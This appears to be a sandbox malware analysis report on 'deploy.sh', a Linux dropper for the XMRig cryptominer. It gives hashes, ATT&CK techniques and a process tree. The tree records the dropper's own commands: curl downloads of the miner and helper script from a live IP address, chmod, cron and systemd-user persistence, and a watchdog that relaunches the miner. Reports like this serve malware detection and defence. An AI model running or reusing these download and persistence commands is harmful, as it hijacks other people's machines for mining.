xmrig | 9ea42b8381008979ba761ab7dddf54b2cedc8f0db5f42199fb35e4e12cd15260

Analysis

max time kernel
141s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/07/2026, 20:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
deploy.sh
Size 13KB
Sample260710-y222daa13w
SHA256 9ea42b8381008979ba761ab7dddf54b2cedc8f0db5f42199fb35e4e12cd15260
MD5 c5ff1408993537b73456cbab3fae18b5
SHA1 20e926dc172ac8e91614815e80f9bafbeadc3374
SHA512 f8b39820870662589bfda8df927c963536e63b73e202ef5f5decf0e3d7c1a480f7869a7e0b2e0dfa85fc61f9fd1f197e1fe4c46c112e9057a469dcd94eb75132
SSDEEP 192:2875rR474COKyAVF1mBt6e4egQq1GZ0HRit4Nmn5PH03/BNGBggGQd:T5VT4LyMiXn5PUQ
TLSH
T16E52A672BA65D57638ACC22C998E9110392B3AEB36183458B4ED76043FFC31D51F277A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-7.dat	family_xmrig
behavioral2/files/fstream-7.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
699	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/softwaretechreview/softwaretech	759	bash
/softwaretechreview/softwaretech	823	bash
/softwaretechreview/softwaretech	840	bash
/softwaretechreview/softwaretech	853	bash
/softwaretechreview/softwaretech	868	bash
/softwaretechreview/softwaretech	881	bash
/softwaretechreview/softwaretech	896	bash
/softwaretechreview/softwaretech	909	bash
/softwaretechreview/softwaretech	924	bash
/softwaretechreview/softwaretech	937	bash

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.vXwGU0	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 10 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-user/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/292/stat	ps
File opened for reading	/proc/27/status	ps
File opened for reading	/proc/1/cgroup	systemctl
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/138/stat	ps
File opened for reading	/proc/98/stat	ps
File opened for reading	/proc/29/status	ps
File opened for reading	/proc/647/status	ps
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/314/stat	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/29/status	ps
File opened for reading	/proc/922/stat	ps
File opened for reading	/proc/935/status	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/43/stat	ps
File opened for reading	/proc/233/status	ps
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/316/stat	ps
File opened for reading	/proc/138/stat	ps
File opened for reading	/proc/157/stat	ps
File opened for reading	/proc/107/stat	ps
File opened for reading	/proc/654/status	ps
File opened for reading	/proc/342/status	ps
File opened for reading	/proc/306/stat	ps
File opened for reading	/proc/301/stat	ps
File opened for reading	/proc/332/stat	ps
File opened for reading	/proc/599/stat	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/334/status	ps
File opened for reading	/proc/3/stat	ps
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/652/stat	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/138/status	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/16/stat	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/600/stat	ps
File opened for reading	/proc/41/status	ps
File opened for reading	/proc/306/stat	ps
File opened for reading	/proc/593/stat	ps
File opened for reading	/proc/42/status	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/28/status	ps
File opened for reading	/proc/26/stat	ps
File opened for reading	/proc/159/stat	ps
File opened for reading	/proc/5/stat	ps
File opened for reading	/proc/108/stat	ps
File opened for reading	/proc/168/stat	ps
File opened for reading	/proc/292/status	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/653/stat	ps
File opened for reading	/proc/76/stat	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.WuACXc	deploy.sh

/tmp/deploy.sh
/tmp/deploy.sh
1⤵
- Writes file to tmp directory
PID:656
- /usr/bin/curl
  curl http://45.225.135.18:4849
  2⤵
  - Checks CPU configuration
  PID:661
- /bin/mkdir
  mkdir -p /softwaretechreview
  2⤵
  PID:682
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:683
- /bin/hostname
  hostname
  2⤵
  PID:686
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:687
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:688
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:689
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:690
- /bin/mkdir
  mkdir -p /softwaretechreview
  2⤵
  PID:691
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:693
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/softwaretech -o /softwaretechreview/softwaretech
  2⤵
  - Checks CPU configuration
  PID:694
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:695
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/deploy/config.json -o /softwaretechreview/config.json
  2⤵
  - Checks CPU configuration
  PID:696
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:697
- /usr/bin/curl
  curl -fsSL --retry 3 --retry-delay 5 http://45.225.135.18/watchsoftware.sh -o /softwaretechreview/watchsoftware.sh
  2⤵
  - Checks CPU configuration
  PID:698
- /bin/chmod
  chmod +x /softwaretechreview/softwaretech /softwaretechreview/watchsoftware.sh
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:700
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:701
- /bin/grep
  grep -qF /softwaretechreview/watchsoftware.sh
  2⤵
  PID:703
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:702
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:705
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:706
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:709
- /bin/mkdir
  mkdir -p /.config/systemd/user
  2⤵
  PID:713
- /bin/cat
  cat
  2⤵
  PID:714
- /bin/systemctl
  systemctl --user daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  PID:716
- /bin/systemctl
  systemctl --user enable softwaretech-watchdog.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:719
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:722
- /bin/systemctl
  systemctl --user start --no-block softwaretech-watchdog.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:724
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:727
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:728
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:730
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:732
- /bin/bash
  bash /softwaretechreview/watchsoftware.sh
  2⤵
  - Executes dropped EXE
  PID:733
- - /bin/cat
    cat /softwaretechreview/watchdog.pid
    3⤵
    PID:740
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:743
- - /bin/mkdir
    mkdir -p /softwaretechreview
    3⤵
    PID:745
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:747
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:749
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:750
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:754
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:752
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:757
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:759
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:762
- - /bin/sleep
    sleep 15
    3⤵
    PID:763
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:816
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:818
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:820
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:819
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:822
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:823
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:824
- - /bin/sleep
    sleep 15
    3⤵
    PID:826
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:834
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:836
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:838
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:837
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:839
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:841
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:840
- - /bin/sleep
    sleep 15
    3⤵
    PID:843
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:847
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:849
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:851
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:850
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:852
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:854
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:853
- - /bin/sleep
    sleep 15
    3⤵
    PID:856
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:862
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:864
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:866
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:865
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:867
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:868
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:869
- - /bin/sleep
    sleep 15
    3⤵
    PID:871
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:875
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:877
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:879
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:878
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:880
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:881
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:882
- - /bin/sleep
    sleep 15
    3⤵
    PID:884
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:890
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:892
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:893
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:894
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:895
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:897
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:896
- - /bin/sleep
    sleep 15
    3⤵
    PID:899
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:903
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:905
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:906
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:907
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:908
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:910
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:909
- - /bin/sleep
    sleep 15
    3⤵
    PID:912
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:918
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:920
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:921
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:922
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:923
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:925
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:924
- - /bin/sleep
    sleep 15
    3⤵
    PID:927
- - /bin/cat
    cat /softwaretechreview/softwaretech.pid
    3⤵
    PID:931
- - /bin/grep
    grep -q "^[0-9][0-9]*\$"
    3⤵
    PID:933
- - /bin/grep
    grep -q "^softwaretech\$"
    3⤵
    PID:935
- - /bin/ps
    ps -e -o comm
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:934
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:936
- - /bin/date
    date "+%Y-%m-%d %H:%M:%S"
    3⤵
    PID:938
- - /softwaretechreview/softwaretech
    ./softwaretech --config config.json
    3⤵
    PID:937
- - /bin/sleep
    sleep 15
    3⤵
    PID:940
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:735
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:737

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

config.json

Path /softwaretechreview/config.json
Size 6KB
SHA256 46a89ab6d49e527e8f281f02ddb8415494ee977211a4612a2fc158859ea77e35
MD5 05021c6119268dee528fd0703c78328f
SHA1 b8c5b6462fa826006e8aef75fdf156a40664c8c6
SHA512 3097d62e17d363b80c74a51b55751da87c47f0fd3ae7bc1b87b30067ce5b5f28b2d65a1b5f0e5bc3ed4f69935c634dabda65bae5b7285ad8af7791e2d0413973
SSDEEP 192:LACgCZCIjES7CiWhZJOJJ2zDsTcTkjCduKG:LV9GXrJOJJYo4w2En
TLSH
T1A4E1DE21CA380DBB12A554AD89EC6383561CC1136E493C79721C999C2F0E73F75B7BEA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 78B
SHA256 3bec7cef7d0da8ecce0a78e837e0fe428b6bd82b30655a41722c23716ce7e9ef
MD5 a4849cd54db653e464f3b3ed83e6ef85
SHA1 e030dfb0e50cf048706d87aa8e4f82431cd674c7
SHA512 ee1eb112ca66f6041524bcc471bd52c919efa1e1f75205e0bb00a4eb3b90ea8b966e407dfb8771fc623dd516a98db8d628d485bba4de1bcf0d2d85f17cb5a142
MD5 SHA1 SHA512

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 162B
SHA256 6a9cb1ba964c8a0baeb88b12eeff4d49b847b21261c0ba8798a2ed412bbe5777
MD5 decd2d17204602c9dcd053f490e7484d
SHA1 25bc360790f48bb3d2ddf6a32a0fbbed367c308a
SHA512 230a51982ae7db76820e737ceff84201e6cee338d4825ddee5f73b3acbc976e32cba5c6790f24fbad9faa83c045a60b2ae2b9b0fe78fa57c4f4241bbedeac433
TLSH
T1DDC012C8313C66A6476981C3D47149357392FAC642144B90F38478040B2170E5F7CC31
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 240B
SHA256 6d28c0c38b80a41ed0e7868372644872b9e748c5b343d56e4bbeb5f1fb20327a
MD5 01540e010cf1c76bb0cc3b3a442b6073
SHA1 1687a69fb408ffed04a9bd2bf07118f1f6484de6
SHA512 f8b69174af6a81e6ca485fe7ebb08d87adfd530a4b54b808fa6edecd56c08321ffe02261d918a411bed5a0c214bde2c3a83fe391b721c7e200b2eb80000823f0
TLSH
T113D092C8313C6AA6877981C7E8714E35B3A6FA8A42184A90F39478080B21B0E6F7CC31
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 321B
SHA256 d2c9440843ceb1b9a814b4fc3035d76a7a420c15e301947b7c8679a94a0f13ba
MD5 93907c6c96c256c8788f8a47533fe827
SHA1 e74f7b010145aaa50a3c8209937b02bd6a2ef967
SHA512 02a847efbc33196d687e38fcf163ac0cd2b4323f03d8af59fe7f4b00a63a9696287cb034f952bf152ab650c3a50da8f1280cc80d2d0a3855722a5fe64f91cd2e
TLSH
T1AEE0C98D312C59BA4B7A41C3D5768A62B3A5FA9A42140990B39574080B21B0F6F7C830
MD5 SHA1 SHA512 TLSH

Submit Download

deploy.log

Path /softwaretechreview/deploy.log
Size 1KB
SHA256 b9a9abddf30ea851ee6bfb859229f839cba12ef527b7a565c31b6e59387c5207
MD5 c849141eda94a1e42530415f6dc4b232
SHA1 6d4cbfaf98f1dc97282d6a3c2859cd5ead0a9a1c
SHA512 1d77ea7866eccc44aa7dd789d3f62674eea368030a15c2bc650b10353ed63751a2b67288a5cc62e3fb65928db34e2e21f3a7d8ae537ee10b46823f37fccb704a
TLSH
T18321C14E297D55B706B901C3ED5A4BA1EB85FB570210185C73E530082B25B1B5F7DC7A
MD5 SHA1 SHA512 TLSH

Submit Download

softwaretech

Path /softwaretechreview/softwaretech
Size 8.0MB
SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
MD5 e1b3e738928012a07dfce8659b3ff31d
SHA1 c9bb4fc8eadaad35e50de087e3bbd5969cb2df2f
SHA512 cb8b152ebecad5cffdc635ee9ba7e7b3007772b16088aa48e1374e1230db52ae0f2b135369085e6c64a9e61821244b7b0fa2cb13d7fd48af1668c9133d942835
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZ2:ssQLqmjsxymsONkEZqIzolQdo
TLSH
T17E865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watchdog.pid

Path /softwaretechreview/watchdog.pid
Size 4B
SHA256 623a358def361d458e75ac23f59b239feaab7a8fd03603c21618d82c0ae9973c
MD5 1271f730419cd56aa8300b13e791e66d
SHA1 d31e1b7dfb14ac4c199e7bd7b722387888589e47
SHA512 0f8d29be0db16388d1c387aea6c2623870824eb8360c53b1fb8305d87abd08bd036abea20766479edc5b62b877f294b5ff5b372e57db7ad1aff91b2ad20654b0
MD5 SHA1 SHA512

Submit Download

watchsoftware.sh

Path /softwaretechreview/watchsoftware.sh
Size 4KB
SHA256 c8844ac426e19246c8a73b9952deda131b6bb452fafe4dbb984a8895914a9046
MD5 e8fd3e778e32b7dbcca44128cd15744c
SHA1 0af4e92937c9f1a8376a56e2445d76e5156e8eb7
SHA512 5f82581325ab4643103cab0c4c6958b0644ff74c66873d41f78ebd09bce329f6baf6fc14c8e4627bd8b646bb7db1ec5432b9905c22f361308a62b9ca927fa1ca
SSDEEP 96:IzLiPYa3jvvc9TbHlLYYLOwJmwvwSmt7rzzw:I3iBT3+TbFBywQwYSYnzM
TLSH
T178A194727F916B303A99C11C8A9ED252766B38BB36103868705D31907BEC71E51B2F74
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh-thd.WuACXc

Path /tmp/sh-thd.WuACXc
Size 373B
SHA256 707a96429c20b62afc685b8e007b43f9fbd891c5b5caf45fc27f67314cd5ac96
MD5 9d889d234e81bee20bb3ac5e5faa5c84
SHA1 5f851128fb5e554729c524837fb4d89337bb4d78
SHA512 9d8e260915777b27391bc5f4fd4449b32dc14c60690e3dc8c98b0beee19ae15312fef688635e3570b6ba18ac0da315aec410cf0577e0e2c192c119479b1d31fc
TLSH
T153E06872376322F998878A159D439700E0472AE1C20E74EC3DC196CA10D074D8431364
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.vXwGU0

Path /var/spool/cron/crontabs/tmp.vXwGU0
Size 283B
SHA256 93385ebb70d78d289f93aa2e6632e5c17cd2583c3f40c7be40a4762f47900acf
MD5 a4aa4b7aefcc1c9e4d5f9d32a46d76c0
SHA1 1cdcabaef64f86894f992288bb9deca0a2b382fe
SHA512 0281b53eb18977e516511c9ad0f80c10e424eb190ec1594e9b61df61349e8782006b67aac3c53e6841f1f0240e10a5857e75fb99e0644f0c93ce1dbe7a40c688
TLSH
T15DD02B3C3B00763C2D564745BC1A80487A879AF8D04DADD0F1CDB05D0226B4C4B66A71
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads